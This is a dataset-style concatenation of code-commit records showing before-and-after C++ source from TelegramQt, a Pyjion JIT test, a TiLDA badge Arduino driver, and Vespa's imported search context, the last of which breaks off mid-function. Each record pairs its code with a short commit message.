\"TelegramNamespace.hpp\"\n#include \"TLTypes.hpp\"\n\n#include <QDateTime>\n\nnamespace Telegram {\n\nnamespace Utils {\n\nTELEGRAMQT_EXPORT Telegram::Peer toPublicPeer(const TLInputPeer &inputPeer, quint32 selfId);\nTELEGRAMQT_EXPORT Telegram::Peer toPublicPeer(const TLPeer &peer);\nTELEGRAMQT_EXPORT Telegram::Peer toPublicPeer(const TLUser &user);\nTELEGRAMQT_EXPORT Telegram::Peer toPublicPeer(const TLChat *chat);\n\nTELEGRAMQT_EXPORT TLPeer toTLPeer(const Telegram::Peer &peer);\n\nTELEGRAMQT_EXPORT Telegram::Peer getMessageDialogPeer(const TLMessage &message, quint32 applicantUserId);\n\nTELEGRAMQT_EXPORT QString mimeTypeByStorageFileType(TLValue type);\nTELEGRAMQT_EXPORT TelegramNamespace::MessageType getPublicMessageType(const TLMessageMedia &media);\nTELEGRAMQT_EXPORT TLValue::Value toTLValue(TelegramNamespace::MessageType type);\nTELEGRAMQT_EXPORT TelegramNamespace::MessageAction toPublicMessageAction(TLValue action);\nTELEGRAMQT_EXPORT TLValue::Value toTLValue(TelegramNamespace::MessageAction action);\n\nTELEGRAMQT_EXPORT quint64 formatTimeStamp(qint64 timeInMs);\nTELEGRAMQT_EXPORT quint64 timeStampToMSecsSinceEpoch(quint64 ts);\n\nTELEGRAMQT_EXPORT quint32 getCurrentTime();\n\n} \/\/ Utils namespace\n\n} \/\/ Telegram namespace\n\ninline quint32 Telegram::Utils::getCurrentTime()\n{\n#if QT_VERSION > QT_VERSION_CHECK(5, 8, 0)\n qint64 timestamp = QDateTime::currentSecsSinceEpoch();\n#else\n qint64 timestamp = QDateTime::currentMSecsSinceEpoch() \/ 1000;\n#endif\n return static_cast<quint32>(timestamp);\n}\n\n#endif \/\/ TELEGRAM_QT_API_UTILS_HPP\n<commit_msg>ApiUtils: Mark functions as internal export<commit_after>\/*\n Copyright (C) 2018 Alexandr Akulich <akulichalexander@gmail.com>\n\n This file is a part of TelegramQt library.\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n *\/\n\n#ifndef TELEGRAM_QT_API_UTILS_HPP\n#define TELEGRAM_QT_API_UTILS_HPP\n\n#include \"telegramqt_global.h\"\n\n#include \"TelegramNamespace.hpp\"\n#include \"TLTypes.hpp\"\n\n#include <QDateTime>\n\nnamespace Telegram {\n\nnamespace Utils {\n\nTELEGRAMQT_INTERNAL_EXPORT Telegram::Peer toPublicPeer(const TLInputPeer &inputPeer, quint32 selfId);\nTELEGRAMQT_INTERNAL_EXPORT Telegram::Peer toPublicPeer(const TLPeer &peer);\nTELEGRAMQT_INTERNAL_EXPORT Telegram::Peer toPublicPeer(const TLUser &user);\nTELEGRAMQT_INTERNAL_EXPORT Telegram::Peer toPublicPeer(const TLChat *chat);\n\nTELEGRAMQT_INTERNAL_EXPORT TLPeer toTLPeer(const Telegram::Peer &peer);\n\nTELEGRAMQT_INTERNAL_EXPORT Telegram::Peer getMessageDialogPeer(const TLMessage &message, quint32 applicantUserId);\n\nTELEGRAMQT_INTERNAL_EXPORT QString mimeTypeByStorageFileType(TLValue type);\nTELEGRAMQT_INTERNAL_EXPORT TelegramNamespace::MessageType getPublicMessageType(const TLMessageMedia &media);\nTELEGRAMQT_INTERNAL_EXPORT TLValue::Value toTLValue(TelegramNamespace::MessageType type);\nTELEGRAMQT_INTERNAL_EXPORT TelegramNamespace::MessageAction toPublicMessageAction(TLValue action);\nTELEGRAMQT_INTERNAL_EXPORT TLValue::Value toTLValue(TelegramNamespace::MessageAction action);\n\nTELEGRAMQT_EXPORT quint64 formatTimeStamp(qint64 timeInMs);\nTELEGRAMQT_EXPORT quint64 timeStampToMSecsSinceEpoch(quint64 ts);\n\nTELEGRAMQT_EXPORT quint32 getCurrentTime();\n\n} \/\/ Utils namespace\n\n} \/\/ Telegram namespace\n\ninline quint32 Telegram::Utils::getCurrentTime()\n{\n#if QT_VERSION > QT_VERSION_CHECK(5, 8, 0)\n qint64 timestamp = QDateTime::currentSecsSinceEpoch();\n#else\n qint64 timestamp = QDateTime::currentMSecsSinceEpoch() \/ 1000;\n#endif\n return static_cast<quint32>(timestamp);\n}\n\n#endif \/\/ TELEGRAM_QT_API_UTILS_HPP\n<|endoftext|>"} {"text":"<commit_before>\/*\n* The MIT License (MIT)\n*\n* Copyright (c) Microsoft Corporation\n*\n* Permission is hereby granted, free of charge, to any person obtaining a\n* copy of this software and associated documentation files (the \"Software\"),\n* to deal in the Software without restriction, including without limitation\n* the rights to use, copy, modify, merge, publish, distribute, sublicense,\n* and\/or sell copies of the Software, and to permit persons to whom the\n* Software is furnished to do so, subject to the following conditions:\n*\n* The above copyright notice and this permission notice shall be included\n* in all copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n* OTHER DEALINGS IN THE SOFTWARE.\n*\n*\/\n\n\/**\n Test JIT code emission.\n*\/\n\n#include \"stdafx.h\"\n#include \"catch.hpp\"\n#include \"testing_util.h\"\n#include <Python.h>\n#include <frameobject.h>\n#include <pyjit.h>\n\nclass EmissionTest {\nprivate:\n PyCodeObject *m_code;\n PyJittedCode *m_jittedcode;\n\n PyObject *run() {\n auto sysModule = PyImport_ImportModule(\"sys\");\n auto globals = PyDict_New();\n auto builtins = PyThreadState_GET()->interp->builtins;\n PyDict_SetItemString(globals, \"__builtins__\", builtins);\n PyDict_SetItemString(globals, \"sys\", sysModule);\n\n \/* XXX Why?\n PyRun_String(\"finalized = False\\nclass RefCountCheck:\\n def __del__(self):\\n print('finalizing')\\n global finalized\\n finalized = True\\n def __add__(self, other):\\n return self\", Py_file_input, globals, globals);\n if (PyErr_Occurred()) {\n PyErr_Print();\n return \"\";\n }*\/\n\n \/\/ Don't DECREF as frames are recycled.\n auto frame = PyFrame_New(PyThreadState_Get(), m_code, globals, PyDict_New());\n\n auto res = m_jittedcode->j_evalfunc(m_jittedcode->j_evalstate, frame);\n Py_DECREF(globals);\n Py_DECREF(sysModule);\n\n return res;\n }\n\npublic:\n EmissionTest(const char *code) {\n m_code = CompileCode(code);\n if (m_code == nullptr) {\n FAIL(\"failed to compile code\");\n }\n m_jittedcode = JitCompile(m_code);\n if (m_jittedcode == nullptr) {\n FAIL(\"failed to JIT code\");\n }\n }\n\n ~EmissionTest() {\n Py_XDECREF(m_code);\n Py_XDECREF(m_jittedcode);\n }\n\n const char* returns() {\n auto res = run();\n REQUIRE(res != nullptr);\n REQUIRE(!PyErr_Occurred());\n\n auto repr = PyUnicode_AsUTF8(PyObject_Repr(res));\n Py_DECREF(res);\n auto tstate = PyThreadState_GET();\n REQUIRE(tstate->exc_value == nullptr);\n REQUIRE(tstate->exc_traceback == nullptr);\n if (tstate->exc_type != nullptr) {\n REQUIRE(tstate->exc_type == Py_None);\n }\n\n return repr;\n }\n\n PyObject* raises() {\n auto res = run();\n REQUIRE(res == nullptr);\n return PyErr_Occurred();\n }\n};\n\nTEST_CASE(\"General list unpacking\", \"[list][BUILD_LIST_UNPACK][emission]\") {\n SECTION(\"common case\") {\n auto t = EmissionTest(\"def f(): return [1, *[2], 3]\");\n REQUIRE(t.returns() == \"[1, 2, 3]\");\n }\n\n SECTION(\"unpacking a non-iterable\") {\n auto t = EmissionTest(\"def f(): return [1, *2, 3]\");\n REQUIRE(t.raises() == PyExc_TypeError);\n }\n}<commit_msg>Use std::string for macro support in Catch for comparisons<commit_after>\/*\n* The MIT License (MIT)\n*\n* Copyright (c) Microsoft Corporation\n*\n* Permission is hereby granted, free of charge, to any person obtaining a\n* copy of this software and associated documentation files (the \"Software\"),\n* to deal in the Software without restriction, including without limitation\n* the rights to use, copy, modify, merge, publish, distribute, sublicense,\n* and\/or sell copies of the Software, and to permit persons to whom the\n* Software is furnished to do so, subject to the following conditions:\n*\n* The above copyright notice and this permission notice shall be included\n* in all copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n* OTHER DEALINGS IN THE SOFTWARE.\n*\n*\/\n\n\/**\n Test JIT code emission.\n*\/\n\n#include \"stdafx.h\"\n#include \"catch.hpp\"\n#include \"testing_util.h\"\n#include <Python.h>\n#include <frameobject.h>\n#include <pyjit.h>\n\nclass EmissionTest {\nprivate:\n PyCodeObject *m_code;\n PyJittedCode *m_jittedcode;\n\n PyObject *run() {\n auto sysModule = PyImport_ImportModule(\"sys\");\n auto globals = PyDict_New();\n auto builtins = PyThreadState_GET()->interp->builtins;\n PyDict_SetItemString(globals, \"__builtins__\", builtins);\n PyDict_SetItemString(globals, \"sys\", sysModule);\n\n \/* XXX Why?\n PyRun_String(\"finalized = False\\nclass RefCountCheck:\\n def __del__(self):\\n print('finalizing')\\n global finalized\\n finalized = True\\n def __add__(self, other):\\n return self\", Py_file_input, globals, globals);\n if (PyErr_Occurred()) {\n PyErr_Print();\n return \"\";\n }*\/\n\n \/\/ Don't DECREF as frames are recycled.\n auto frame = PyFrame_New(PyThreadState_Get(), m_code, globals, PyDict_New());\n\n auto res = m_jittedcode->j_evalfunc(m_jittedcode->j_evalstate, frame);\n Py_DECREF(globals);\n Py_DECREF(sysModule);\n\n return res;\n }\n\npublic:\n EmissionTest(const char *code) {\n m_code = CompileCode(code);\n if (m_code == nullptr) {\n FAIL(\"failed to compile code\");\n }\n m_jittedcode = JitCompile(m_code);\n if (m_jittedcode == nullptr) {\n FAIL(\"failed to JIT code\");\n }\n }\n\n ~EmissionTest() {\n Py_XDECREF(m_code);\n Py_XDECREF(m_jittedcode);\n }\n\n std::string& returns() {\n auto res = run();\n REQUIRE(res != nullptr);\n REQUIRE(!PyErr_Occurred());\n\n auto repr = PyUnicode_AsUTF8(PyObject_Repr(res));\n Py_DECREF(res);\n auto tstate = PyThreadState_GET();\n REQUIRE(tstate->exc_value == nullptr);\n REQUIRE(tstate->exc_traceback == nullptr);\n if (tstate->exc_type != nullptr) {\n REQUIRE(tstate->exc_type == Py_None);\n }\n\n return std::string(repr);\n }\n\n PyObject* raises() {\n auto res = run();\n REQUIRE(res == nullptr);\n return PyErr_Occurred();\n }\n};\n\nTEST_CASE(\"General list unpacking\", \"[list][BUILD_LIST_UNPACK][emission]\") {\n SECTION(\"common case\") {\n auto t = EmissionTest(\"def f(): return [1, *[2], 3]\");\n REQUIRE(t.returns() == \"[1, 2, 3]\");\n }\n\n SECTION(\"unpacking a non-iterable\") {\n auto t = EmissionTest(\"def f(): return [1, *2, 3]\");\n REQUIRE(t.raises() == PyExc_TypeError);\n }\n}<|endoftext|>"} {"text":"<commit_before>#include \"TiLDA_MKe.h\"\n\n#include \"Arduino.h\"\n\nTiLDA_MKe::TiLDA_MKe() :\n glcd(LCD_CS, LCD_A0, LCD_RESET)\n{\n \/\/ GLCD setup\n pinMode(LCD_POWER, OUTPUT);\n digitalWrite(LCD_POWER, LOW);\n\n \/*\n * I think the EMF board def. puts this on a PWM pin\n * but keeping it on digital makes it easier to toggle\n *\/\n pinMode(LCD_BACKLIGHT, OUTPUT);\n\n \/\/ Configure buttons\n buttons.addButton(BUTTON_LIGHT);\n buttons.addButton(BUTTON_SCREEN_RIGHT);\n buttons.addButton(BUTTON_SCREEN_LEFT);\n buttons.addButton(BUTTON_A);\n buttons.addButton(BUTTON_B);\n buttons.addButton(BUTTON_UP);\n buttons.addButton(BUTTON_RIGHT);\n buttons.addButton(BUTTON_DOWN);\n buttons.addButton(BUTTON_LEFT);\n buttons.addButton(BUTTON_CENTER);\n\n \/\/ LED setup\n uint8_t inital_state = 0;\n setLED(1, inital_state, inital_state, inital_state);\n setLED(2, inital_state, inital_state, inital_state);\n\n \/\/ Battery monitor setup\n pinMode(MCP_STAT, INPUT_PULLUP);\n pinMode(VBATT_MON, INPUT);\n}\n\n\/**\n * Sets the state of the backlight.\n *\n * @param state State to set backlight to (1 or 0)\n *\/\nvoid TiLDA_MKe::setBacklight(uint8_t state)\n{\n digitalWrite(LCD_BACKLIGHT, state);\n}\n\n\/**\n * Gets the state of the backlight.\n *\n * @returns Backlight state\n *\/\nuint8_t TiLDA_MKe::backlight()\n{\n return digitalRead(LCD_BACKLIGHT);\n}\n\n\/**\n * Flips the state of the backlight then returns the new state.\n *\n * @returns New backlight state\n *\/\nuint8_t TiLDA_MKe::toggleBacklight()\n{\n digitalWrite(LCD_BACKLIGHT, !backlight());\n return digitalRead(LCD_BACKLIGHT);\n}\n\n\/**\n * Sets the colour and brightness of the RGB LEDs.\n *\n * @param led LED to set (1 or 2)\n * @param r Red intensity\n * @param g Green intensity\n * @param b Blue intensity\n *\/\nvoid TiLDA_MKe::setLED(uint8_t led, uint8_t r, uint8_t g, uint8_t b)\n{\n switch(led)\n {\n case 1:\n analogWrite(LED1_RED, r);\n analogWrite(LED1_GREEN, g);\n analogWrite(LED1_BLUE, b);\n break;\n case 2:\n analogWrite(LED2_RED, r);\n analogWrite(LED2_GREEN, g);\n analogWrite(LED2_BLUE, b);\n break;\n default:\n return;\n }\n}\n\n\/**\n * Gets an approximation of the battery percentage.\n *\n * Note that the value is only accurate when not charging.\n *\n * @return Approx battery percentage\n *\/\nuint8_t TiLDA_MKe::getBatteryPercentage()\n{\n return (analogRead(VBATT_MON) - PMIC_BATTERY_FLAT) * PMIC_BATTERY_PERCENT_RATIO;\n}\n\n\/**\n * Gets the battery voltage.\n *\n * @return Battery voltage\n *\/\nfloat TiLDA_MKe::getBatteryVoltage()\n{\n return (analogRead(VBATT_MON) * (3.3 \/ 512));\n}\n\n\/**\n * Tests if the batter is being charged.\n *\n * @return True if charging, false otherwise\n *\/\nbool TiLDA_MKe::isCharging()\n{\n return !digitalRead(MCP_STAT);\n}\n<commit_msg>Small change in toggleBacklight<commit_after>#include \"TiLDA_MKe.h\"\n\n#include \"Arduino.h\"\n\nTiLDA_MKe::TiLDA_MKe() :\n glcd(LCD_CS, LCD_A0, LCD_RESET)\n{\n \/\/ GLCD setup\n pinMode(LCD_POWER, OUTPUT);\n digitalWrite(LCD_POWER, LOW);\n\n \/*\n * I think the EMF board def. puts this on a PWM pin\n * but keeping it on digital makes it easier to toggle\n *\/\n pinMode(LCD_BACKLIGHT, OUTPUT);\n\n \/\/ Configure buttons\n buttons.addButton(BUTTON_LIGHT);\n buttons.addButton(BUTTON_SCREEN_RIGHT);\n buttons.addButton(BUTTON_SCREEN_LEFT);\n buttons.addButton(BUTTON_A);\n buttons.addButton(BUTTON_B);\n buttons.addButton(BUTTON_UP);\n buttons.addButton(BUTTON_RIGHT);\n buttons.addButton(BUTTON_DOWN);\n buttons.addButton(BUTTON_LEFT);\n buttons.addButton(BUTTON_CENTER);\n\n \/\/ LED setup\n uint8_t inital_state = 0;\n setLED(1, inital_state, inital_state, inital_state);\n setLED(2, inital_state, inital_state, inital_state);\n\n \/\/ Battery monitor setup\n pinMode(MCP_STAT, INPUT_PULLUP);\n pinMode(VBATT_MON, INPUT);\n}\n\n\/**\n * Sets the state of the backlight.\n *\n * @param state State to set backlight to (1 or 0)\n *\/\nvoid TiLDA_MKe::setBacklight(uint8_t state)\n{\n digitalWrite(LCD_BACKLIGHT, state);\n}\n\n\/**\n * Gets the state of the backlight.\n *\n * @returns Backlight state\n *\/\nuint8_t TiLDA_MKe::backlight()\n{\n return digitalRead(LCD_BACKLIGHT);\n}\n\n\/**\n * Flips the state of the backlight then returns the new state.\n *\n * @returns New backlight state\n *\/\nuint8_t TiLDA_MKe::toggleBacklight()\n{\n digitalWrite(LCD_BACKLIGHT, !backlight());\n return backlight();\n}\n\n\/**\n * Sets the colour and brightness of the RGB LEDs.\n *\n * @param led LED to set (1 or 2)\n * @param r Red intensity\n * @param g Green intensity\n * @param b Blue intensity\n *\/\nvoid TiLDA_MKe::setLED(uint8_t led, uint8_t r, uint8_t g, uint8_t b)\n{\n switch(led)\n {\n case 1:\n analogWrite(LED1_RED, r);\n analogWrite(LED1_GREEN, g);\n analogWrite(LED1_BLUE, b);\n break;\n case 2:\n analogWrite(LED2_RED, r);\n analogWrite(LED2_GREEN, g);\n analogWrite(LED2_BLUE, b);\n break;\n default:\n return;\n }\n}\n\n\/**\n * Gets an approximation of the battery percentage.\n *\n * Note that the value is only accurate when not charging.\n *\n * @return Approx battery percentage\n *\/\nuint8_t TiLDA_MKe::getBatteryPercentage()\n{\n return (analogRead(VBATT_MON) - PMIC_BATTERY_FLAT) * PMIC_BATTERY_PERCENT_RATIO;\n}\n\n\/**\n * Gets the battery voltage.\n *\n * @return Battery voltage\n *\/\nfloat TiLDA_MKe::getBatteryVoltage()\n{\n return (analogRead(VBATT_MON) * (3.3 \/ 512));\n}\n\n\/**\n * Tests if the batter is being charged.\n *\n * @return True if charging, false otherwise\n *\/\nbool TiLDA_MKe::isCharging()\n{\n return !digitalRead(MCP_STAT);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#include \"imported_search_context.h\"\n#include \"imported_attribute_vector.h\"\n#include <vespa\/searchlib\/common\/bitvectoriterator.h>\n#include <vespa\/searchlib\/queryeval\/emptysearch.h>\n#include \"attributeiterators.hpp\"\n\nusing search::datastore::EntryRef;\nusing search::queryeval::EmptySearch;\nusing search::queryeval::SearchIterator;\nusing search::attribute::ReferenceAttribute;\nusing search::AttributeVector;\n\nusing ReverseMappingRefs = ReferenceAttribute::ReverseMappingRefs;\nusing ReverseMapping = ReferenceAttribute::ReverseMapping;\nusing SearchContext = AttributeVector::SearchContext;\n\n\nnamespace search::attribute {\n\nImportedSearchContext::ImportedSearchContext(\n std::unique_ptr<QueryTermSimple> term,\n const SearchContextParams& params,\n const ImportedAttributeVector& imported_attribute)\n : _imported_attribute(imported_attribute),\n _reference_attribute(*_imported_attribute.getReferenceAttribute()),\n _target_attribute(*_imported_attribute.getTargetAttribute()),\n _target_search_context(_target_attribute.getSearch(std::move(term), params)),\n _referencedLids(_reference_attribute.getReferencedLids()),\n _referencedLidLimit(_target_attribute.getCommittedDocIdLimit()),\n _merger(_reference_attribute.getCommittedDocIdLimit()),\n _fetchPostingsDone(false)\n{\n}\n\nImportedSearchContext::~ImportedSearchContext() {\n}\n\nunsigned int ImportedSearchContext::approximateHits() const {\n return _reference_attribute.getNumDocs();\n}\n\nstd::unique_ptr<queryeval::SearchIterator>\nImportedSearchContext::createIterator(fef::TermFieldMatchData* matchData, bool strict) {\n if (_merger.hasArray()) {\n if (_merger.emptyArray()) {\n return SearchIterator::UP(new EmptySearch());\n } else {\n using Posting = btree::BTreeKeyData<uint32_t, int32_t>;\n using DocIt = DocIdIterator<Posting>;\n DocIt postings;\n auto array = _merger.getArray();\n postings.set(&array[0], &array[array.size()]);\n return std::make_unique<AttributePostingListIteratorT<DocIt>>(true, matchData, postings);\n }\n } else if (_merger.hasBitVector()) {\n return BitVectorIterator::create(_merger.getBitVector(), _merger.getDocIdLimit(), *matchData, strict);\n }\n if (!strict) {\n return std::make_unique<AttributeIteratorT<ImportedSearchContext>>(*this, matchData);\n } else {\n return std::make_unique<AttributeIteratorStrict<ImportedSearchContext>>(*this, matchData);\n }\n}\n\nnamespace {\n\nstruct WeightedRef {\n EntryRef revMapIdx;\n int32_t weight;\n\n WeightedRef(EntryRef revMapIdx_, int32_t weight_)\n : revMapIdx(revMapIdx_),\n weight(weight_)\n {\n }\n};\n\nstruct TargetWeightedResult {\n std::vector<WeightedRef> weightedRefs;\n size_t sizeSum;\n\n TargetWeightedResult()\n : weightedRefs(),\n sizeSum(0)\n {}\n static TargetWeightedResult\n getResult(ReverseMappingRefs reverseMappingRefs, const ReverseMapping &reverseMapping,\n SearchContext &target_search_context, uint32_t committedDocIdLimit) __attribute__((noinline));\n};\n\nclass ReverseMappingBitVector\n{\n const ReverseMapping &_reverseMapping;\n EntryRef _revMapIdx;\npublic:\n ReverseMappingBitVector(const ReverseMapping &reverseMapping, EntryRef revMapIdx)\n : _reverseMapping(reverseMapping),\n _revMapIdx(revMapIdx)\n {}\n ~ReverseMappingBitVector() { }\n\n template <typename Func>\n void foreach_key(Func func) const {\n _reverseMapping.foreach_frozen_key(_revMapIdx, [func](uint32_t lid) { func(lid); });\n }\n};\n\nstruct TargetResult {\n static void\n getResult(ReverseMappingRefs reverseMappingRefs, const ReverseMapping &reverseMapping,\n SearchContext &target_search_context, uint32_t committedDocIdLimit,\n PostingListMerger<int32_t> & merger) __attribute__((noinline));\n};\n\nTargetWeightedResult\nTargetWeightedResult::getResult(ReverseMappingRefs reverseMappingRefs, const ReverseMapping &reverseMapping,\n SearchContext &target_search_context, uint32_t committedDocIdLimit)\n{\n TargetWeightedResult targetResult;\n fef::TermFieldMatchData matchData;\n auto targetItr = target_search_context.createIterator(&matchData, true);\n uint32_t docIdLimit = reverseMappingRefs.size();\n if (docIdLimit > committedDocIdLimit) {\n docIdLimit = committedDocIdLimit;\n }\n uint32_t lid = 1;\n targetItr->initRange(1, docIdLimit);\n while (lid < docIdLimit) {\n if (targetItr->seek(lid)) {\n EntryRef revMapIdx = reverseMappingRefs[lid];\n if (revMapIdx.valid()) {\n uint32_t size = reverseMapping.frozenSize(revMapIdx);\n targetResult.sizeSum += size;\n targetItr->unpack(lid);\n int32_t weight = matchData.getWeight();\n targetResult.weightedRefs.emplace_back(revMapIdx, weight);\n }\n ++lid;\n } else {\n ++lid;\n uint32_t nextLid = targetItr->getDocId();\n if (nextLid > lid) {\n lid = nextLid;\n }\n }\n }\n return targetResult;\n}\n\nvoid\nTargetResult::getResult(ReverseMappingRefs reverseMappingRefs, const ReverseMapping &reverseMapping,\n SearchContext &target_search_context, uint32_t committedDocIdLimit,\n PostingListMerger<int32_t> & merger)\n{\n fef::TermFieldMatchData matchData;\n auto it = target_search_context.createIterator(&matchData, true);\n uint32_t docIdLimit = reverseMappingRefs.size();\n if (docIdLimit > committedDocIdLimit) {\n docIdLimit = committedDocIdLimit;\n }\n it->initRange(1, docIdLimit);\n for (uint32_t lid = it->seekFirst(1); !it->isAtEnd(); lid = it->seekNext(lid+1)) {\n EntryRef revMapIdx = reverseMappingRefs[lid];\n if (__builtin_expect(revMapIdx.valid(), true)) {\n merger.addToBitVector(ReverseMappingBitVector(reverseMapping, revMapIdx));\n }\n }\n}\n\nclass ReverseMappingPostingList\n{\n const ReverseMapping &_reverseMapping;\n EntryRef _revMapIdx;\n int32_t _weight;\npublic:\n ReverseMappingPostingList(const ReverseMapping &reverseMapping, EntryRef revMapIdx, int32_t weight)\n : _reverseMapping(reverseMapping),\n _revMapIdx(revMapIdx),\n _weight(weight)\n {}\n ~ReverseMappingPostingList() { }\n template <typename Func>\n void foreach(Func func) const {\n int32_t weight = _weight;\n _reverseMapping.foreach_frozen_key(_revMapIdx, [func, weight](uint32_t lid) { func(lid, weight); });\n }\n\n};\n\n}\n\nvoid ImportedSearchContext::makeMergedPostings(bool isFilter)\n{\n uint32_t committedTargetDocIdLimit = _target_attribute.getCommittedDocIdLimit();\n std::atomic_thread_fence(std::memory_order_acquire);\n const auto &reverseMapping = _reference_attribute.getReverseMapping();\n if (isFilter) {\n _merger.allocBitVector();\n TargetResult::getResult(_reference_attribute.getReverseMappingRefs(),\n _reference_attribute.getReverseMapping(),\n *_target_search_context, committedTargetDocIdLimit, _merger);\n } else {\n TargetWeightedResult targetResult(TargetWeightedResult::getResult(_reference_attribute.getReverseMappingRefs(),\n _reference_attribute.getReverseMapping(),\n *_target_search_context,\n committedTargetDocIdLimit));\n _merger.reserveArray(targetResult.weightedRefs.size(), targetResult.sizeSum);\n for (const auto &weightedRef : targetResult.weightedRefs) {\n _merger.addToArray(ReverseMappingPostingList(reverseMapping, weightedRef.revMapIdx, weightedRef.weight));\n }\n }\n _merger.merge();\n}\n\nvoid ImportedSearchContext::fetchPostings(bool strict) {\n assert(!_fetchPostingsDone);\n _fetchPostingsDone = true;\n _target_search_context->fetchPostings(strict);\n if (strict || _target_attribute.getConfig().fastSearch()) {\n makeMergedPostings(_target_attribute.getConfig().getIsFilter());\n }\n}\n\nbool ImportedSearchContext::valid() const {\n return _target_search_context->valid();\n}\n\nInt64Range ImportedSearchContext::getAsIntegerTerm() const {\n return _target_search_context->getAsIntegerTerm();\n}\n\nconst QueryTermBase& ImportedSearchContext::queryTerm() const {\n return _target_search_context->queryTerm();\n}\n\nconst vespalib::string& ImportedSearchContext::attributeName() const {\n return _imported_attribute.getName();\n}\n\n}\n<commit_msg>Simplify the loop.<commit_after>\/\/ Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#include \"imported_search_context.h\"\n#include \"imported_attribute_vector.h\"\n#include <vespa\/searchlib\/common\/bitvectoriterator.h>\n#include <vespa\/searchlib\/queryeval\/emptysearch.h>\n#include \"attributeiterators.hpp\"\n\nusing search::datastore::EntryRef;\nusing search::queryeval::EmptySearch;\nusing search::queryeval::SearchIterator;\nusing search::attribute::ReferenceAttribute;\nusing search::AttributeVector;\n\nusing ReverseMappingRefs = ReferenceAttribute::ReverseMappingRefs;\nusing ReverseMapping = ReferenceAttribute::ReverseMapping;\nusing SearchContext = AttributeVector::SearchContext;\n\n\nnamespace search::attribute {\n\nImportedSearchContext::ImportedSearchContext(\n std::unique_ptr<QueryTermSimple> term,\n const SearchContextParams& params,\n const ImportedAttributeVector& imported_attribute)\n : _imported_attribute(imported_attribute),\n _reference_attribute(*_imported_attribute.getReferenceAttribute()),\n _target_attribute(*_imported_attribute.getTargetAttribute()),\n _target_search_context(_target_attribute.getSearch(std::move(term), params)),\n _referencedLids(_reference_attribute.getReferencedLids()),\n _referencedLidLimit(_target_attribute.getCommittedDocIdLimit()),\n _merger(_reference_attribute.getCommittedDocIdLimit()),\n _fetchPostingsDone(false)\n{\n}\n\nImportedSearchContext::~ImportedSearchContext() {\n}\n\nunsigned int ImportedSearchContext::approximateHits() const {\n return _reference_attribute.getNumDocs();\n}\n\nstd::unique_ptr<queryeval::SearchIterator>\nImportedSearchContext::createIterator(fef::TermFieldMatchData* matchData, bool strict) {\n if (_merger.hasArray()) {\n if (_merger.emptyArray()) {\n return SearchIterator::UP(new EmptySearch());\n } else {\n using Posting = btree::BTreeKeyData<uint32_t, int32_t>;\n using DocIt = DocIdIterator<Posting>;\n DocIt postings;\n auto array = _merger.getArray();\n postings.set(&array[0], &array[array.size()]);\n return std::make_unique<AttributePostingListIteratorT<DocIt>>(true, matchData, postings);\n }\n } else if (_merger.hasBitVector()) {\n return BitVectorIterator::create(_merger.getBitVector(), _merger.getDocIdLimit(), *matchData, strict);\n }\n if (!strict) {\n return std::make_unique<AttributeIteratorT<ImportedSearchContext>>(*this, matchData);\n } else {\n return std::make_unique<AttributeIteratorStrict<ImportedSearchContext>>(*this, matchData);\n }\n}\n\nnamespace {\n\nstruct WeightedRef {\n EntryRef revMapIdx;\n int32_t weight;\n\n WeightedRef(EntryRef revMapIdx_, int32_t weight_)\n : revMapIdx(revMapIdx_),\n weight(weight_)\n {\n }\n};\n\nstruct TargetWeightedResult {\n std::vector<WeightedRef> weightedRefs;\n size_t sizeSum;\n\n TargetWeightedResult()\n : weightedRefs(),\n sizeSum(0)\n {}\n static TargetWeightedResult\n getResult(ReverseMappingRefs reverseMappingRefs, const ReverseMapping &reverseMapping,\n SearchContext &target_search_context, uint32_t committedDocIdLimit) __attribute__((noinline));\n};\n\nclass ReverseMappingBitVector\n{\n const ReverseMapping &_reverseMapping;\n EntryRef _revMapIdx;\npublic:\n ReverseMappingBitVector(const ReverseMapping &reverseMapping, EntryRef revMapIdx)\n : _reverseMapping(reverseMapping),\n _revMapIdx(revMapIdx)\n {}\n ~ReverseMappingBitVector() { }\n\n template <typename Func>\n void foreach_key(Func func) const {\n _reverseMapping.foreach_frozen_key(_revMapIdx, [func](uint32_t lid) { func(lid); });\n }\n};\n\nstruct TargetResult {\n static void\n getResult(ReverseMappingRefs reverseMappingRefs, const ReverseMapping &reverseMapping,\n SearchContext &target_search_context, uint32_t committedDocIdLimit,\n PostingListMerger<int32_t> & merger) __attribute__((noinline));\n};\n\nTargetWeightedResult\nTargetWeightedResult::getResult(ReverseMappingRefs reverseMappingRefs, const ReverseMapping &reverseMapping,\n SearchContext &target_search_context, uint32_t committedDocIdLimit)\n{\n TargetWeightedResult targetResult;\n fef::TermFieldMatchData matchData;\n auto it = target_search_context.createIterator(&matchData, true);\n uint32_t 